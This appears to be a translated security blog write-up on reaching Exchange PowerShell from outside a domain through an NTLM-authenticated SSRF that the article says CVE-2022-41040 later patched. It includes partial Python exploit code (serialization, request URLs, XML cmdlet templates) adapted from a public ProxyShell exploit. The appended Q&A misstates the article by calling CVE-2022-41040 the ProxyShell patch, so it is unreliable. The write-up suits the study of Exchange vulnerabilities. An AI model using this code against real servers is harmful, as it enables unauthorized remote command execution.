Penetration Techniques - Remote Access to Exchange PowerShell

Onedaysec
6 min read
0 views
docx image 1770016711613 0 4dd0aa5e43

0x00 Preface

---

Exchange PowerShell is based on PowerShell Remoting and typically requires accessing the Exchange Server's port 80 from a domain-joined host, which imposes many restrictions. This article introduces an implementation method that does not rely on initiating connections from a domain-joined host, thereby expanding its applicability.

Note:

This method was patched in CVE-2022–41040. The fix location: RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress) in C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.HttpProxy.Common.dll, as shown in the figure below

0x00 Preface — technical illustration 1

0x01 Introduction

---

This article will cover the following:

  • Implementation Approach
  • Implementation Details

0x02 Implementation Approach

---

In conventional usage, the following issues need to be considered when using Exchange PowerShell:

  • All domain users can connect to Exchange PowerShell
  • Connection must be initiated from a host within the domain
  • Connection address must use FQDN; IP addresses are not supported

Conventional methods cannot initiate connections from outside the domain. However, as we know, ProxyShell can be used to initiate connections from outside the domain, leveraging SSRF to execute Exchange PowerShell

Furthermore, after applying the ProxyShell patch, SSRF supporting NTLM authentication was not removed. We can access Exchange PowerShell again via NTLM authentication

0x03 Implementation Details

---

In terms of code implementation, we can incorporate NTLM authentication to pass credentials. Example code:

from requests_ntlm import HttpNtlmAuth
res = requests.post(url, data=post_data, headers=headers, verify=False, auth=HttpNtlmAuth(username, password))

When executing Exchange PowerShell commands, we can choose pypsrp or Flask. Specific details can be referenced in previous articles: 'ProxyShell Exploitation Analysis 2—CVE-2021-34523' and 'ProxyShell Exploitation Analysis 3—Adding Users and File Writing'

Both pypsrp and Flask work by establishing a web proxy to filter and modify communication data for command execution

To increase the applicability of the code, an alternative implementation method is chosen here: simulate normal Exchange PowerShell communication data to achieve command execution

Reference code: https://gist.github.com/rskvp93/4e353e709c340cb18185f82dbec30e58

The code uses Python2 and implements ProxyShell exploitation

Based on this code, rewrite it to support Python3, with the functionality of accessing Exchange PowerShell via NTLM authentication to execute commands. Specific details to note are as follows:

1. Differences in string formatting between Python2 and Python3

(1)

Code that works in Python2:

class BasePacket:
def serialize(self):
Blob = ''.join([struct.pack('I', self.Destination),
struct.pack('I', self.MessageType),
self.RPID.bytes_le,
self.PID.bytes_le,
self.Data
])
BlobLength = len(Blob)
output = ''.join([struct.pack('>Q', self.ObjectId),
struct.pack('>Q', self.FragmentId),
self.Flags,
struct.pack('>I', BlobLength),
Blob ])
return output

When using the above code in Python3, Str needs to be converted to bytes, and to avoid invisible character parsing issues, the code structure has been redesigned. Python3 compatible code:

def serialize(self):
Blob = struct.pack('I', self.Destination) + struct.pack('I', self.MessageType) + self.RPID.bytes_le + self.PID.bytes_le + self.Data.encode('utf-8')
BlobLength = len(Blob)
output = struct.pack('>Q', self.ObjectId) + struct.pack('>Q', self.FragmentId) + self.Flags.encode('utf-8') + struct.pack('>I', BlobLength) + Blob
return output

(2)

Python2 compatible code:

class CreationXML:
def serialize(self):
output = self.sessionCapability.serialize() + self.initRunspacPool.serialize()
return base64.b64encode(output)

When using the above code in Python3, you need to convert Str to bytes. Example code usable in Python3:

def serialize(self):
output = self.sessionCapability.serialize() + self.initRunspacPool.serialize()
return base64.b64encode(output).decode('utf-8')

(3)

Code usable in Python2:

def receive_data(SessionId, commonAccessToken, ShellId):
print "[+] Receive data util get RunspaceState packet"
headers = {
"Content-Type": "application/soap+xml;charset=UTF-8"
}
url = "/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT={commonAccessToken}".format(commonAccessToken=commonAccessToken)
MessageID = uuid.uuid4()
OperationID = uuid.uuid4()
request_data = """

https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610
http://schemas.microsoft.com/powershell/Microsoft.Exchange

http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous

http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive
512000
uuid:{MessageID}


uuid:{SessionId}
uuid:{OperationID}
1

{ShellId}


TRUE

PT180.000S



stdout


""".format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId)
r = post_request(url, headers, request_data, {})
if r.status_code == 200:
doc = xml.dom.minidom.parseString(r.text);
elements = doc.getElementsByTagName("rsp:Stream")
if len(elements) == 0:
print_error_and_exit("receive_data failed with no Stream return", r)
for element in elements:
stream = element.firstChild.nodeValue
data = base64.b64decode(stream)
if 'RunspaceState' in data:
print "[+] Found RunspaceState packet"
return True

When using the above code in Python3, you need to convert Str to bytes. To avoid issues with parsing invisible characters, do not use .decode('utf-8') here; instead, use .decode('ISO-8859-1')

Example code usable in Python3:

data = base64.b64decode(stream).decode('ISO-8859-1')

2. XML file format supporting Exchange Powershell commands

XML file format example 1:

trueSystem.Management.Automation.Runspaces.ApartmentStateSystem.EnumSystem.ValueTypeSystem.ObjectUNKNOWN2System.Management.Automation.Runspaces.RemoteStreamOptionsSystem.EnumSystem.ValueTypeSystem.ObjectAddInvocationInfo15falsetruetruetruetruefalseSystem.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]System.ObjectGet-RoleGroupMemberfalseSystem.Management.Automation.Runspaces.PipelineResultTypesSystem.EnumSystem.ValueTypeSystem.ObjectNone0None0None0Organization ManagementNone0None0None0None0falsefalse

The corresponding executed command is: Get-RoleGroupMember "Organization Management"

XML file format example 2:

trueSystem.Management.Automation.Runspaces.ApartmentStateSystem.EnumSystem.ValueTypeSystem.ObjectUNKNOWN2System.Management.Automation.Runspaces.RemoteStreamOptionsSystem.EnumSystem.ValueTypeSystem.ObjectAddInvocationInfo15falsetruetruetruetruefalseSystem.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]System.ObjectGet-MailboxfalseSystem.Management.Automation.Runspaces.PipelineResultTypesSystem.EnumSystem.ValueTypeSystem.ObjectNone0None0None0-IdentityadministratorNone0None0None0None0falsefalse

The corresponding executed command is: Get-Mailbox -Identity administrator

Through format analysis, the following conclusions can be drawn:

(1) The attribute Cmd corresponds to the command name

For example:

Get-RoleGroupMember

Get-Mailbox

(2) The format of the passed command parameters needs attention

If only one parameter is passed, the corresponding format is:

Organization Management

If two parameters are passed, the corresponding format is:

-Identityadministrator

If four parameters are passed, the corresponding format is:

-Identityadministrator
-ResultSize1024

For this, we can use the following code to implement parameter filling:

def GenerateArgument(N_data, V_data):
if len(N_data) == 0:
Argument = """{V_data}""".format(V_data=V_data)
else:
Argument = """{N_data}{V_data}""".format(N_data=N_data, V_data=V_data)
return Argument

Implementation code for constructing the XML file format:

commandData = """



System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]
System.Object



{Cmdlet}
false



System.Management.Automation.Runspaces.PipelineResultTypes
System.Enum
System.ValueType
System.Object

None0

None0
None0
None0
None0
None0
None0
None0


{Argument}





false

true

true

System.Threading.ApartmentStateSystem.EnumSystem.ValueTypeSystem.Object
Unknown2


System.Management.Automation.RemoteStreamOptionsSystem.EnumSystem.ValueTypeSystem.Object
00

true

true
true
true
true


false
""".format(Cmdlet=Cmdlet, Argument=Argument)

Combining the above details, we can derive the final implementation code, with the execution result shown in the figure below

(2) The format of the passed command parameters needs attention — technical illustration 2

0x04 Summary

---

This article introduces the implementation method for remote access to Exchange PowerShell, with the advantage of not relying on initiating connections from within the domain. This method was patched in CVE-2022-41040.

Related Questions & Answers

Which tools or libraries does the article mention for executing Exchange PowerShell commands via NTLM authentication?

The article mentions `requests_ntlm` for NTLM authentication, and either `pypsrp` or `Flask` as a web proxy for command execution. It also provides a rewritten Python3 version of a Gist that simulates normal Exchange PowerShell communication data. For details on ProxyShell exploitation, refer to [Penetration Technique: Remote Access to Exchange PowerShell](/news/penetration-technique-remote-access-to-exchange-powershell).

What is the purpose of the XML file format in the Exchange PowerShell implementation, and how are command parameters structured?

The XML defines the PowerShell command and its parameters, with the attribute `Cmd` specifying the command name (e.g., `Get-Mailbox`). Parameters are passed as `<N>` elements for parameter names and `<V>` for values; if no parameter name is needed, only `<V_data>` is used. This structure allows flexible command execution. Related GPO execution techniques are covered in [Domain Penetration - Remote Execution via Scheduled Tasks in GPO](/news/domain-penetration-remote-execution-via-scheduled-tasks-in-gpo-command-line-implementation-principles-and-script-details).

How does the Python code need to be adapted from Python2 to Python3 for this Exchange PowerShell implementation?

Key adaptations include converting string concatenation to byte concatenation (e.g., using `+` with `struct.pack`), and decoding base64 streams with `ISO-8859-1` instead of `utf-8` to avoid invisible character issues. The article also notes returning `base64.b64encode(output).decode('utf-8')` for Python3 compatibility. For more on webshell techniques, see [Penetration Basics - Implementation of Webshell Supporting NTLM Over HTTP Protocol](/news/penetration-basics-implementation-of-webshell-supporting-ntlm-over-http-protocol).

What is the conventional restriction for accessing Exchange PowerShell, and how does the article's method bypass it?

Conventionally, Exchange PowerShell requires a domain-joined host and uses FQDN, blocking external access. The article's method bypasses this by leveraging NTLM authentication after the ProxyShell patch (CVE-2022–41040), allowing remote command execution without domain membership. For more on ProxyShell exploitation, see [Penetration Techniques - Remote Access to Exchange PowerShell](/news/penetration-techniques-remote-access-to-exchange-powershell).

Continue Reading